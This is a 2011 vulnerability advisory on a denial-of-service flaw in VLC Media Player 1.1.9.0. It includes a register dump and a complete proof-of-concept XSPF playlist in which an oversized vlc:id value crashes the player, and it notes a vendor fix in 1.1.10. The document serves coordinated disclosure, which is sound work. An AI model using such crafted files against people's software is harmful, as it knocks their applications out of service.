VLC Media Player 1.1.9.0 XSPF Local File Denial of Service Condition

2011-06-08 16:15:04

TITLE

VLC Media Player 1.1.9.0 XSPF Local File Denial of Service Condition

PRODUCT

VLC Media Player 1.1.9.0 (2011)

VENDOR

VideoLAN Organisation

CLASS

Denial of Service (DoS)

PRODUCT DESCRIPTION

VLC is a free and open source cross-platform multimedia player and
framework that plays most multimedia files as well as DVD, Audio CD,
VCD, and various streaming protocols.

TECHNICAL DETAILS

XSPF file is the XML format for sharing playlists.
A sample of the XSPF document is as follows:

<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/">
<trackList>
<track><location>file:///crash/tecr0c.mp3</location></track>
</trackList>
</playlist>

The VLC XSPF file uses a tag <vlc:id></vlc:id> in the component Demuxers: Playlist
which accepts decimal values for the vlc:id. When entering a large value that is
beyond the memory segment that is allocated for program data the program crashes.
Setting <vlc:id> value to 1073741823,e.g. <vlc:id>1073741823</vlc:id>
will results in a MEMORY ACCESS VIOLATION and the application crash.

The vulnerable code in module libplaylist_plugin.dll looks like (pseudo C code example):

do
{
__counter += 8;
mem->dword0 = 0;
mem->dword4 = 0;
mem->dword8 = 0;
mem->dwordC = 0;
mem->dword10 = 0;
mem->dword14 = 0;
mem->dword18 = 0;
mem->dword1C = 0;
++mem; <-- violation happens here when mem value is greater then memory segment
}
while ( __counter <= __controlled_value_edx );
}
};

Once we hit an address that does not exist we will result in a Denial of Service condition.

EAX 01A97FE8
ECX 00003320
EDX 3FFFFFFF <--------------- Value we control
EBX 01A972F8
ESP 02B6FBA8
EBP 02B6FCC0
ESI 00000007
EDI 01A8B388
EIP 7024FA5E libplayl.7024FA5E
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFAF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 6900 00AECAB0 00ADEB10
ST1 empty +UNORM 000B 003F0428 694C2808
ST2 empty -UNORM EB10 00AECAB0 00ADEB10
ST3 empty 0.9999999999999573674
ST4 empty 0.5000000000000000000
ST5 empty 0.9999999999999573674
ST6 empty 0.0
ST7 empty 559.00000000000000000
3 2 1 0 E S P U O Z D I
FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1


End of block:
01A97FE8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01A97FF8 00 00 00 00 00 00 00 00 ........

PROOF OF CONCEPT (PoC)

<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
<title>Download</title>
<trackList>
<track>
<location>file:///C:/Users/tecr0c/Desktop/tecr0c-win.mp3</location>
<duration>992</duration>
<extension application="http://www.videolan.org/vlc/playlist/0">
<vlc:id>1073741823</vlc:id>
</extension>
</track>
</trackList>
<extension application="http://www.videolan.org/vlc/playlist/0">
<vlc:item tid="0" />
</extension>
</playlist>

FIX

VLC Media Player 1.1.10

TIMELINE

03062011 Contacted vendor with PoC
05062011 Bug fixed by vendor
08062011 Patch release to public in 1.1.10

Fixes

No fixes

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